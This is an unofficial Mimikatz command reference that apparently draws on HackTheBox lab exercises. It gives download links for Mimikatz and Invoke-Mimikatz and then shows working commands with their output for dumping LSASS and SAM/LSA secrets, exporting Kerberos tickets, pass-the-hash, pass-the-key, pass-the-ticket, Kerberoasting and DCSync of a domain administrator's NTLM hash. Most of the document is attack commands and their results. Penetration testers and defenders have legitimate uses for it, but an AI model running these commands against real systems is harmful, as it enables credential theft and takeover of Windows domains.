Mimikatz

Unofficial Guide to Mimikatz & Command ReferenceActive Directory & Azure AD/Entra ID Security

Executable

https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zipgithub.com

Powershell

Invoke-Mimikatz

https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1raw.githubusercontent.com

GitHub - g4uss47/Invoke-Mimikatz: Powershell Mimikatz LoaderGitHub

List active user sessions

sekurlsa::logonPasswords full

Cache

PS C:\Users\Administrator\Desktop> .\mimikatz.exe token::elevate lsadump::cache exit

cache | The Hacker Toolstools.thehacker.recipes

SAM

SAM & LSA secrets

lsadump::sam

LSA

SAM & LSA secrets

lsadump::lsa /inject /name:krbtgt

Load lsass.dump (extract from procdump or task manager)

LSASS secretsUser Privileges

C:\htb> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 23196355 (00000000:0161f2c3)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/31/2021 3:00:57 PM
SID               : S-1-5-90-0-4
        msv :
        tspkg :
        wdigest :
         * Username : WINLPE-SRV01$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

<SNIP> 

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         [00000003] Primary
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        tspkg :
        wdigest :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        kerberos :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        ssp :
        credman :

<SNIP>

Then Pass The Hash

Pass the Hash (PtH)

Export Tickets

Pass the Ticket (PtT) - Windows

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

mimikatz # exit
Bye!
c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680][e-mail]
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account.

Extract Kerberos Keys

Pass the Ticket (PtT) - Linux

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>

Then Pass the Key or OverPass the Hash

Pass the Key or OverPass the Hash

Pass the Ticket (PtT) - Windows

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user    : plaintext
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 3f74aa8f08f712f09cd5177b5c1ce50f
  |  PID  1128
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 3414364 (00000000:0034195c)
  \_ msv1_0   - data copy @ 000001C7DBC0B630 : OK !
  \_ kerberos - data copy @ 000001C7E20EE578
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001C7E2136BC8 (32) -> null

Pass the Ticket (PtT)

Pass the Ticket (PtT) - Windows

C:\tools> mimikatz.exe 

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680][e-mail]"

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680][e-mail]': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

We can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command

Kerberost

Kerberoast

If we do not specify the base64 /out:true command, Mimikatz will extract the tickets and write them to .kirbi files

Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export  

<SNIP>

[00000002] - 0x00000017 - rc4_hmac_nt      
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
   Client Name       : htb-student @ INLANEFREIGHT.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ; 
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T
UUwuaW5sYW5lZnJlaWdodC5sb2NhbDoxNDMzo4IEvzCCBLugAwIBF6EDAgECooIE
rQSCBKmBMUn7JhVJpqG0ll7UnRuoeoyRtHxTS8JY1cl6z0M4QbLvJHi0JYZdx1w5
sdzn9Q3tzCn8ipeu+NUaIsVyDuYU/LZG4o2FS83CyLNiu/r2Lc2ZM8Ve/rqdd+TG
<SNIP>
MjAyMjUwODU1MjVapxEYDzIwMjIwMzAzMjI1NTI1WqgVGxNJTkxBTkVGUkVJR0hU
LkxPQ0FMqTswOaADAgECoTIwMBsITVNTUUxTdmMbJERFVi1QUkUtU1FMLmlubGFu
ZWZyZWlnaHQubG9jYWw6MTQzMw==
====================

   * Saved to file     : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi

<SNIP>

DCSync

DCSync

C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...

PS C:\htb> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : administrator
User Principal Name  : [e-mail]
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d

<SNIP>